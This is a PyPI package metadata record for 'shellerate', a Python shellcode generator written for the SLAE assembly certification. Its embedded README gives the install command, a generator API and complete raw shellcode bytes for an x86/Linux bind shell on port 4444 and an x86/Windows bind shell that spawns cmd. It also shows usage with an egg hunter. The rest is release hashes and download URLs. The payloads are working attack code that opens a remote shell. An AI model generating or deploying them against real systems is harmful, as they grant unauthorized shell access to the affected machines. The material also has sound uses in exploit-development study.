{ "info": { "author": "Paolo Perego", "author_email": "paolo@armoredcode.com", "bugtrack_url": null, "classifiers": [ "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", "Programming Language :: Python :: 3" ], "description": "# Shellerate\n\n## Introduction\n\nThis the Changelog file for the shellerate project. 'shellerate' is pun between\n'shell' and 'scellerato', the Italian word for 'wicked'.\n\n'shellerate' is a shellcode generation framework born from the assignments I\ntook for the SecurityTube Linux Assembly Expert certification process.\n\nYou can feature custom encoders, custom crypters, polymorphism and all stuff I\nlearned in the SLAE certification process.\n\nshellerate is Python3 package and supported architectures and operating system\nare limited to:\n\n* x86/Linux\n* x86/Win\n\nOf course other architectures and operating systems will be added in the future.\n\n## Installation\n\nTo install shellerate to your system you can issue the following command:\n\n> pip install shellerate\n\n## Available payloads\n\n### TCP Bind shell shellcode\n\nThis shellcode will bind on a given port, waiting for clients and spawn a shell\non the incoming connection.\n\n#### Platform\n\nAt the moment, this shellcode is available only for x86/Linux platform.\n\n#### Features\n\n| Feature | Supported |\n|---------|-----------|\n| Encoding | Yes |\n| Crypter | No |\n| Egg Hunter | Yes |\n\n#### Usage\n\nBasic usage:\n\n```python\nfrom shellerate.bind_shellcode import *\nb=BindShellcode(4444, 'x86', 'linux')\nb.generate()\nprint(\"Shellcode: %s\" % b.shellcode())\n'\\\\x31\\\\xc0\\\\x89\\\\xc3\\\\x89\\\\xc1\\\\x89\\\\xc2\\\\x66\\\\xb8\\\\x67\\\\x01\\\\xb3\\\\x02\\\\xb1\\\\x01\\\\xcd\\\\x80\\\\x89\\\\xc3\\\\x31\\\\xc0\\\\x66\\\\xb8\\\\x69\\\\x01\\\\x31\\\\xc9\\\\x51\\\\x66\\\\x68\\\\x11\\\\x5c\\\\x66\\\\x6a\\\\x02\\\\x89\\\\xe1\\\\xb2\\\\x10\\\\xcd\\\\x80\\\\x31\\\\xc9\\\\x31\\\\xc0\\\\x66\\\\xb8\\\\x6b\\\\x01\\\\xcd\\\\x80\\\\x31\\\\xc0\\\\x66\\\\xb8\\\\x6c\\\\x01\\\\x51\\\\x89\\\\xce\\\\x89\\\\xe1\\\\x89\\\\xe2\\\\xcd\\\\x80\\\\x89\\\\xc3\\\\x31\\\\xc9\\\\xb1\\\\x02\\\\x31\\\\xc0\\\\xb0\\\\x3f\\\\xcd\\\\x80\\\\x49\\\\x79\\\\xf9\\\\x31\\\\xc0\\\\x50\\\\x68\\\\x2f\\\\x2f\\\\x73\\\\x68\\\\x68\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x89\\\\xe3\\\\x31\\\\xc9\\\\x31\\\\xd2\\\\xb0\\\\x0b\\\\xcd\\\\x80'\n```\n\nIf you want to create a bind shell shellcode for windows x86, you can call this\nway:\n```python\nfrom shellerate.bind_shellcode import *\nb=BindShellcode(4444, 'x86', 'win')\nb.generate()\nprint(\"Shellcode: %s\" % b.shellcode())\n'\\\\xfc\\\\xe8\\\\x82\\\\x00\\\\x00\\\\x00\\\\x60\\\\x89\\\\xe5\\\\x31\\\\xc0\\\\x64\\\\x8b\\\\x50\\\\x30\\\\x8b\\\\x52\\\\x0c\\\\x8b\\\\x52\\\\x14\\\\x8b\\\\x72\\\\x28\\\\x0f\\\\xb7\\\\x4a\\\\x26\\\\x31\\\\xff\\\\xac\\\\x3c\\\\x61\\\\x7c\\\\x02\\\\x2c\\\\x20\\\\xc1\\\\xcf\\\\x0d\\\\x01\\\\xc7\\\\xe2\\\\xf2\\\\x52\\\\x57\\\\x8b\\\\x52\\\\x10\\\\x8b\\\\x4a\\\\x3c\\\\x8b\\\\x4c\\\\x11\\\\x78\\\\xe3\\\\x48\\\\x01\\\\xd1\\\\x51\\\\x8b\\\\x59\\\\x20\\\\x01\\\\xd3\\\\x8b\\\\x49\\\\x18\\\\xe3\\\\x3a\\\\x49\\\\x8b\\\\x34\\\\x8b\\\\x01\\\\xd6\\\\x31\\\\xff\\\\xac\\\\xc1\\\\xcf\\\\x0d\\\\x01\\\\xc7\\\\x38\\\\xe0\\\\x75\\\\xf6\\\\x03\\\\x7d\\\\xf8\\\\x3b\\\\x7d\\\\x24\\\\x75\\\\xe4\\\\x58\\\\x8b\\\\x58\\\\x24\\\\x01\\\\xd3\\\\x66\\\\x8b\\\\x0c\\\\x4b\\\\x8b\\\\x58\\\\x1c\\\\x01\\\\xd3\\\\x8b\\\\x04\\\\x8b\\\\x01\\\\xd0\\\\x89\\\\x44\\\\x24\\\\x24\\\\x5b\\\\x5b\\\\x61\\\\x59\\\\x5a\\\\x51\\\\xff\\\\xe0\\\\x5f\\\\x5f\\\\x5a\\\\x8b\\\\x12\\\\xeb\\\\x8d\\\\x5d\\\\x68\\\\x33\\\\x32\\\\x00\\\\x00\\\\x68\\\\x77\\\\x73\\\\x32\\\\x5f\\\\x54\\\\x68\\\\x4c\\\\x77\\\\x26\\\\x07\\\\xff\\\\xd5\\\\xb8\\\\x90\\\\x01\\\\x00\\\\x00\\\\x29\\\\xc4\\\\x54\\\\x50\\\\x68\\\\x29\\\\x80\\\\x6b\\\\x00\\\\xff\\\\xd5\\\\x6a\\\\x08\\\\x59\\\\x50\\\\xe2\\\\xfd\\\\x40\\\\x50\\\\x40\\\\x50\\\\x68\\\\xea\\\\x0f\\\\xdf\\\\xe0\\\\xff\\\\xd5\\\\x97\\\\x68\\\\x02\\\\x00\\\\x11\\\\x5c\\\\x89\\\\xe6\\\\x6a\\\\x10\\\\x56\\\\x57\\\\x68\\\\xc2\\\\xdb\\\\x37\\\\x67\\\\xff\\\\xd5\\\\x57\\\\x68\\\\xb7\\\\xe9\\\\x38\\\\xff\\\\xff\\\\xd5\\\\x57\\\\x68\\\\x74\\\\xec\\\\x3b\\\\xe1\\\\xff\\\\xd5\\\\x57\\\\x97\\\\x68\\\\x75\\\\x6e\\\\x4d\\\\x61\\\\xff\\\\xd5\\\\x68\\\\x63\\\\x6d\\\\x64\\\\x00\\\\x89\\\\xe3\\\\x57\\\\x57\\\\x57\\\\x31\\\\xf6\\\\x6a\\\\x12\\\\x59\\\\x56\\\\xe2\\\\xfd\\\\x66\\\\xc7\\\\x44\\\\x24\\\\x3c\\\\x01\\\\x01\\\\x8d\\\\x44\\\\x24\\\\x10\\\\xc6\\\\x00\\\\x44\\\\x54\\\\x50\\\\x56\\\\x56\\\\x56\\\\x46\\\\x56\\\\x4e\\\\x56\\\\x56\\\\x53\\\\x56\\\\x68\\\\x79\\\\xcc\\\\x3f\\\\x86\\\\xff\\\\xd5\\\\x89\\\\xe0\\\\x4e\\\\x56\\\\x46\\\\xff\\\\x30\\\\x68\\\\x08\\\\x87\\\\x1d\\\\x60\\\\xff\\\\xd5\\\\xbb\\\\xf0\\\\xb5\\\\xa2\\\\x56\\\\x68\\\\xa6\\\\x95\\\\xbd\\\\x9d\\\\xff\\\\xd5\\\\x3c\\\\x06\\\\x7c\\\\x0a\\\\x80\\\\xfb\\\\xe0\\\\x75\\\\x05\\\\xbb\\\\x47\\\\x13\\\\x72\\\\x6f\\\\x6a\\\\x00\\\\x53\\\\xff\\\\xd5'\n``` \n\n\nUsage with egg hunter\n\n```python\nfrom shellerate.bind_shellcode import *\nb=BindShellcode(4444, 'x86', 'linux')\nb.egg_hunter()\nb.generate()\nsc = b.shellcode()\n\nprint(\"Egg Hunter: %s\" % sc[\"egg_hunter_code\"])\nprint(\"Shellcode: %s\" % sc[\"egg_hunter_shellcode\"])\n```\n\n\n", "description_content_type": "text/markdown", "docs_url": null, "download_url": "", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/thesp0nge/shellerate", "keywords": "", "license": "", "maintainer": "", "maintainer_email": "", "name": "shellerate", "package_url": "https://pypi.org/project/shellerate/", "platform": "", "project_url": "https://pypi.org/project/shellerate/", "project_urls": { "Homepage": "https://github.com/thesp0nge/shellerate" }, "release_url": "https://pypi.org/project/shellerate/0.4.2/", "requires_dist": null, "requires_python": ">=3.6.*", "summary": "A shellcode generator with encryption, encoding and polymorphism facilities built-in", "version": "0.4.2" }, "last_serial": 5163998, "releases": { "0.0.1": [ { "comment_text": "", "digests": { "md5": "7bcd1ce7f726b4a448f8c0ff957f3574", "sha256": "be7a86b4c4a88b5ce41dc577829b71fd2123f9810f6c7ecc1fbf0dd501345d00" }, "downloads": -1, "filename": "shellerate-0.0.1.tar.gz", "has_sig": false, "md5_digest": "7bcd1ce7f726b4a448f8c0ff957f3574", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 1293, "upload_time": "2018-09-04T12:45:48", "url": "https://files.pythonhosted.org/packages/97/d5/16f34c165d0a23173695c3a6e6da1bf49943f24afaba76b3a283acaac166/shellerate-0.0.1.tar.gz" } ], "0.1.0": [ { "comment_text": "", "digests": { "md5": "a0506d0a6ac5bd8b7645c9d3a1855784", "sha256": "4f5f58b680d4222e30a059886d070c6d7c6c11998c9e7b183a037093e8116b10" }, "downloads": -1, "filename": "shellerate-0.1.0.tar.gz", "has_sig": false, "md5_digest": "a0506d0a6ac5bd8b7645c9d3a1855784", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 2128, "upload_time": "2018-09-04T14:57:18", "url": "https://files.pythonhosted.org/packages/f9/0f/2a863e83483e533d3dbc5dca197eb94a9d692d04191f88185d435426d342/shellerate-0.1.0.tar.gz" } ], "0.2.0": [ { "comment_text": "", "digests": { "md5": "0f5278fbbc97f4973c9e1baac1b37571", "sha256": "208c93315a2ed5d60cb158da899fabead39700ea1b60a7b31cd619f2a2345cec" }, "downloads": -1, "filename": "shellerate-0.2.0.tar.gz", "has_sig": false, "md5_digest": "0f5278fbbc97f4973c9e1baac1b37571", "packagetype": "sdist", "python_version": "source", "requires_python": ">=3.6.*", "size": 2825, "upload_time": "2018-09-05T10:06:22", "url": "https://files.pythonhosted.org/packages/9f/32/4df10e76687ee65b923a3e809a49045d4687be2a81aadf018d78893472ec/shellerate-0.2.0.tar.gz" } ], "0.3.0": [ { "comment_text": "", "digests": { "md5": "c29d6863c66e9cdc6a2435419e0d7c1a", "sha256": "30d38f23bdf8b2b84dbc58b9a2857eebf4168d5aee4de63ba5516a4e10243c74" }, "downloads": -1, "filename": "shellerate-0.3.0-py3-none-any.whl", "has_sig": false, "md5_digest": "c29d6863c66e9cdc6a2435419e0d7c1a", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": ">=3.6.*", "size": 5650, "upload_time": "2019-01-08T16:43:35", "url": "https://files.pythonhosted.org/packages/97/63/84b7c78a5772d2387a2ff7c2b769294daba3a45cbd0378c0efd2b053bf14/shellerate-0.3.0-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "cc32c6567cf210d51f249411b1aff7bb", "sha256": "f7a10b4c348765111f5e762d68a6bd1098846bda1f62e41c7f15cfa93b64affb" }, "downloads": -1, "filename": "shellerate-0.3.0.tar.gz", "has_sig": false, "md5_digest": "cc32c6567cf210d51f249411b1aff7bb", "packagetype": "sdist", "python_version": "source", "requires_python": ">=3.6.*", "size": 3626, "upload_time": "2019-01-08T16:43:37", "url": "https://files.pythonhosted.org/packages/d5/2f/67ac3bba9da07f0429c39b366b53b2f2b792c3da2120b9da73668f4dec20/shellerate-0.3.0.tar.gz" } ], "0.4.0": [ { "comment_text": "", "digests": { "md5": "5aa700a77e4a73b3bc535516e06c2e95", "sha256": "969c02d7feb3db3c1532d7a1cdeb69d7e0517d878770a4dcf9a10536f1793fba" }, "downloads": -1, "filename": "shellerate-0.4.0.tar.gz", "has_sig": false, "md5_digest": "5aa700a77e4a73b3bc535516e06c2e95", "packagetype": "sdist", "python_version": "source", "requires_python": ">=3.6.*", "size": 4454, "upload_time": "2019-02-05T16:39:56", "url": "https://files.pythonhosted.org/packages/a6/e4/e2041c5ba4542b405876904ce86cd0888a108dda7de03c4b34dc1f9bb9ab/shellerate-0.4.0.tar.gz" } ], "0.4.2": [ { "comment_text": "", "digests": { "md5": "f4ea77c465e6d9615b2a09f38126dd21", "sha256": "23a5a8784924fe6fb9bd6c349929ddddae0eb5151fa489d937f1bb71c67bdaa1" }, "downloads": -1, "filename": "shellerate-0.4.2-py3-none-any.whl", "has_sig": false, "md5_digest": "f4ea77c465e6d9615b2a09f38126dd21", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": ">=3.6.*", "size": 10132, "upload_time": "2019-04-19T08:50:57", "url": "https://files.pythonhosted.org/packages/3e/8e/feaae857007160cfa2989351126646f2d9042194a22075ad85ed72deffb5/shellerate-0.4.2-py3-none-any.whl" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "f4ea77c465e6d9615b2a09f38126dd21", "sha256": "23a5a8784924fe6fb9bd6c349929ddddae0eb5151fa489d937f1bb71c67bdaa1" }, "downloads": -1, "filename": "shellerate-0.4.2-py3-none-any.whl", "has_sig": false, "md5_digest": "f4ea77c465e6d9615b2a09f38126dd21", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": ">=3.6.*", "size": 10132, "upload_time": "2019-04-19T08:50:57", "url": "https://files.pythonhosted.org/packages/3e/8e/feaae857007160cfa2989351126646f2d9042194a22075ad85ed72deffb5/shellerate-0.4.2-py3-none-any.whl" } ] }